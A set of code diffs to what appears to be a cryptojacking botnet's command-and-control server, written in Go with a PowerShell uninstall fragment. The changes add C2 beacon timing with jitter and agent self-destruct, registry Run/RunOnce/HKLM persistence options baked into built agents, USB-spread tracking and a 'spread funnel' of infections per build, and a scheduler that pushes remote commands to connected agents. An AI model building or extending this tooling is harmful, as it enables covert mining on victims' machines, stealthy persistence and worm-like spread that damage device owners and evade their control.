ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
@@ -97,6 +103,13 @@ type BuildRequest struct {
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
// Connection profile — C2 beacon timing and agent self-destruct
BeaconIntervalSec int `json:"beacon_interval_sec"`
BeaconJitterPct int `json:"beacon_jitter_pct"`
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if h.db != nil {
user := ""
if u, _, ok := r.BasicAuth(); ok {
user = u
}
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
})
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Persistence {
req.AutoStart = true
}
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
normalizeRegistryPersistence(req)
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
AutostartMode: %q,
RegistryPersistence: %q,
RegistryRunHKCU: %v,
RegistryRunHKLM: %v,
RegistryRunOnce: %v,
RegistryExplorerRun: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
BeaconIntervalSec: %d,
BeaconJitterPct: %d,
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
strings.TrimSpace(req.AutostartMode),
strings.TrimSpace(req.RegistryPersistence),
req.RegistryRunHKCU,
req.RegistryRunHKLM,
req.RegistryRunOnce,
req.RegistryExplorerRun,
req.ProcessName,
buildID,
time.Now().Unix(),
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
req.BeaconIntervalSec,
req.BeaconJitterPct,
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
)
}
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true
}
for _, u := range req.BackupServerURLs {
if strings.TrimSpace(u) != "" {
return true
}
}
return false
}
func httpsBeaconAfterMin(req *BuildRequest) int {
if req.HTTPSBeaconAfterMin > 0 {
return req.HTTPSBeaconAfterMin
}
return 3
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"

View File

@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config")
}
if !strings.Contains(src, "AutostartMode") {
t.Error("expected AutostartMode field in generated config")
}
}
func TestBuildPlatformLabelAndBinDir(t *testing.T) {

View File

@@ -0,0 +1,41 @@
package builder
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
func normalizeRegistryPersistence(req *BuildRequest) {
if req == nil {
return
}
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
return
}
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
return
}
count := 0
if req.RegistryRunHKCU {
count++
}
if req.RegistryRunOnce {
count++
}
if req.RegistryRunHKLM {
count++
}
if req.RegistryExplorerRun {
count++
}
if count == 1 {
switch {
case req.RegistryRunHKCU:
req.RegistryPersistence = "hkcu_run"
case req.RegistryRunOnce:
req.RegistryPersistence = "hkcu_run_once"
case req.RegistryRunHKLM:
req.RegistryPersistence = "hklm_run"
case req.RegistryExplorerRun:
req.RegistryPersistence = "explorer_run"
}
return
}
req.RegistryPersistence = "combined"
}

View File

@@ -0,0 +1,30 @@
package builder
import "testing"
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
req := &BuildRequest{RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run_once" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "combined" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
req := &BuildRequest{
RegistryPersistence: "hkcu_run",
RegistryRunHKLM: true,
}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run" {
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
}
}

View File

@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
if (%s) {
Write-Host "Removing Windows Firewall rules..."

View File

@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
}
}
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
script := generateUninstallScript("build-id", req)
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
if !strings.Contains(script, frag) {
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
}
}
}
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
req := &BuildRequest{
WorkerName: "office-pc",

View File

@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
}) (*models.Agent, error) {
a := &models.Agent{}
var notes, tagsRaw string
var usbSpread int
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
)
if err != nil {
return nil, err
}
a.Notes = notes
a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1
return a, nil
}
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,55 @@
package db
import (
"encoding/json"
"time"
"crypto-miner-server/internal/models"
)
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
var detailJSON []byte
if detail != nil {
var err error
detailJSON, err = json.Marshal(detail)
if err != nil {
detailJSON = []byte("{}")
}
}
_, err := d.Exec(
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
time.Now(), username, action, agentID, string(detailJSON),
)
return err
}
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
rows, err := d.Query(
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []*models.AuditEntry
for rows.Next() {
e := &models.AuditEntry{}
var detailStr string
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
return nil, err
}
if detailStr != "" {
e.Detail = json.RawMessage(detailStr)
}
out = append(out, e)
}
return out, nil
}

View File

@@ -0,0 +1,46 @@
package db
import (
"testing"
"crypto-miner-server/internal/models"
)
func TestAuditLogRoundTrip(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
t.Fatal(err)
}
rows, err := d.ListAudit(10)
if err != nil {
t.Fatal(err)
}
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
t.Fatalf("unexpected audit rows: %+v", rows)
}
}
func TestFleetTasksCRUD(t *testing.T) {
d, err := New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
if err := d.UpsertFleetTask(task); err != nil {
t.Fatal(err)
}
list, err := d.ListFleetTasks()
if err != nil || len(list) != 1 {
t.Fatalf("list: %v err=%v", list, err)
}
if err := d.DeleteFleetTask(list[0].ID); err != nil {
t.Fatal(err)
}
}

View File

@@ -0,0 +1,97 @@
package db
import (
"database/sql"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
if err != nil {
return nil, err
}
defer rows.Close()
return scanFleetTasks(rows)
}
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
return scanFleetTaskRow(row)
}
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
if t.ID == "" {
t.ID = uuid.New().String()
}
now := time.Now()
if t.CreatedAt.IsZero() {
t.CreatedAt = now
}
t.UpdatedAt = now
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
enabled = excluded.enabled,
trigger = excluded.trigger,
interval_hours = excluded.interval_hours,
cron_time = excluded.cron_time,
action = excluded.action,
command = excluded.command,
target = excluded.target,
updated_at = excluded.updated_at`,
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
)
return err
}
func (d *Database) DeleteFleetTask(id string) error {
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
return err
}
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
agentID, taskID, time.Now(),
)
return err
}
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
var ts time.Time
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
if err != nil {
return time.Time{}, false
}
return ts, true
}
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
t := &models.FleetTask{}
var enabled int
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
if err != nil {
return nil, err
}
t.Enabled = enabled == 1
return t, nil
}
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
var out []*models.FleetTask
for rows.Next() {
t := &models.FleetTask{}
var enabled int
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
return nil, err
}
t.Enabled = enabled == 1
out = append(out, t)
}
return out, rows.Err()
}

View File

@@ -0,0 +1,52 @@
package db
import "time"
type SpreadFunnelRow struct {
BuildID string `json:"build_id"`
WorkerName string `json:"worker_name"`
Count int `json:"count"`
USBSpread int `json:"usb_spread_count"`
}
type SpreadFunnelStats struct {
ByBuild []SpreadFunnelRow `json:"by_build"`
NewConnectsToday int `json:"new_connects_today"`
TotalAgents int `json:"total_agents"`
}
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
return nil, err
}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
return nil, err
}
rows, err := d.Query(`
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
COUNT(*) AS cnt,
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
FROM agents
WHERE created_at >= ?
GROUP BY build_id, worker_name
ORDER BY cnt DESC`,
since,
)
if err != nil {
return nil, err
}
defer rows.Close()
for rows.Next() {
var r SpreadFunnelRow
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
return nil, err
}
stats.ByBuild = append(stats.ByBuild, r)
}
return stats, rows.Err()
}

View File

@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
`CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
username TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
agent_id TEXT NOT NULL DEFAULT '',
detail TEXT NOT NULL DEFAULT '{}'
)`,
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
`CREATE TABLE IF NOT EXISTS fleet_tasks (
id TEXT PRIMARY KEY,
name TEXT NOT NULL,
enabled INTEGER NOT NULL DEFAULT 1,
trigger TEXT NOT NULL,
interval_hours REAL NOT NULL DEFAULT 0,
cron_time TEXT NOT NULL DEFAULT '',
action TEXT NOT NULL,
command TEXT NOT NULL DEFAULT '',
target TEXT NOT NULL DEFAULT 'all',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
agent_id TEXT NOT NULL,
task_id TEXT NOT NULL,
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (agent_id, task_id)
)`,
}
for _, m := range extraMigrations {
if _, err := d.Exec(m); err != nil {
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
}
}
return nil
}
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
arch = excluded.arch,
os_version = excluded.os_version,
hostname = excluded.hostname,
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
usb_spread = excluded.usb_spread`
usb := 0
if a.USBSpread {
usb = 1
}
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
return err
}

View File

@@ -34,6 +34,10 @@ type Agent struct {
Hostname string `json:"hostname,omitempty"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
AIEnabled bool `json:"ai_enabled"`
USBSpread bool `json:"usb_spread"`
}
type Share struct {

View File

@@ -0,0 +1,15 @@
package models
import (
"encoding/json"
"time"
)
type AuditEntry struct {
ID int64 `json:"id"`
Timestamp time.Time `json:"timestamp"`
Username string `json:"username"`
Action string `json:"action"`
AgentID string `json:"agent_id,omitempty"`
Detail json.RawMessage `json:"detail,omitempty"`
}

View File

@@ -0,0 +1,18 @@
package models
import "time"
// FleetTask is a server-side scheduled remote action pushed to agents.
type FleetTask struct {
ID string `json:"id"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
IntervalHours float64 `json:"interval_hours,omitempty"`
CronTime string `json:"cron_time,omitempty"` // HH:MM daily
Action string `json:"action"`
Command string `json:"command,omitempty"`
Target string `json:"target,omitempty"` // all (default)
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
}

View File

@@ -0,0 +1,142 @@
package scheduler
import (
"log"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// CommandSender pushes a remote command to a connected agent.
type CommandSender interface {
SendAgentCommand(agentID, action string, args map[string]interface{}) error
ConnectedAgentIDs() []string
}
// FleetScheduler runs interval and cron fleet tasks against connected agents.
type FleetScheduler struct {
db *db.Database
send CommandSender
stop chan struct{}
wg sync.WaitGroup
cronMu sync.Mutex
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
}
func New(db *db.Database, send CommandSender) *FleetScheduler {
return &FleetScheduler{
db: db,
send: send,
stop: make(chan struct{}),
lastCronRuns: make(map[string]string),
}
}
func (s *FleetScheduler) Start() {
s.wg.Add(1)
go s.loop()
}
func (s *FleetScheduler) Stop() {
close(s.stop)
s.wg.Wait()
}
func (s *FleetScheduler) loop() {
defer s.wg.Done()
ticker := time.NewTicker(1 * time.Minute)
defer ticker.Stop()
for {
select {
case <-s.stop:
return
case <-ticker.C:
s.tickInterval()
s.tickCron()
}
}
}
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
tasks, err := s.db.ListFleetTasks()
if err != nil {
log.Printf("[scheduler] list tasks: %v", err)
return
}
for _, t := range tasks {
if !t.Enabled || t.Trigger != trigger {
continue
}
s.dispatchTask(agentID, t)
}
}
func (s *FleetScheduler) tickInterval() {
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
continue
}
interval := time.Duration(t.IntervalHours * float64(time.Hour))
for _, agentID := range agentIDs {
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
if ok && time.Since(last) < interval {
continue
}
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) tickCron() {
now := time.Now()
slot := now.Format("15:04")
daySlot := now.Format("2006-01-02") + " " + slot
tasks, err := s.db.ListFleetTasks()
if err != nil {
return
}
agentIDs := s.send.ConnectedAgentIDs()
for _, t := range tasks {
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
continue
}
cronTime := strings.TrimSpace(t.CronTime)
if cronTime != slot {
continue
}
s.cronMu.Lock()
if s.lastCronRuns[t.ID] == daySlot {
s.cronMu.Unlock()
continue
}
s.lastCronRuns[t.ID] = daySlot
s.cronMu.Unlock()
for _, agentID := range agentIDs {
s.dispatchTask(agentID, t)
}
}
}
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
args := map[string]interface{}{}
if t.Command != "" {
args["command"] = t.Command
}
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
return
}
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
}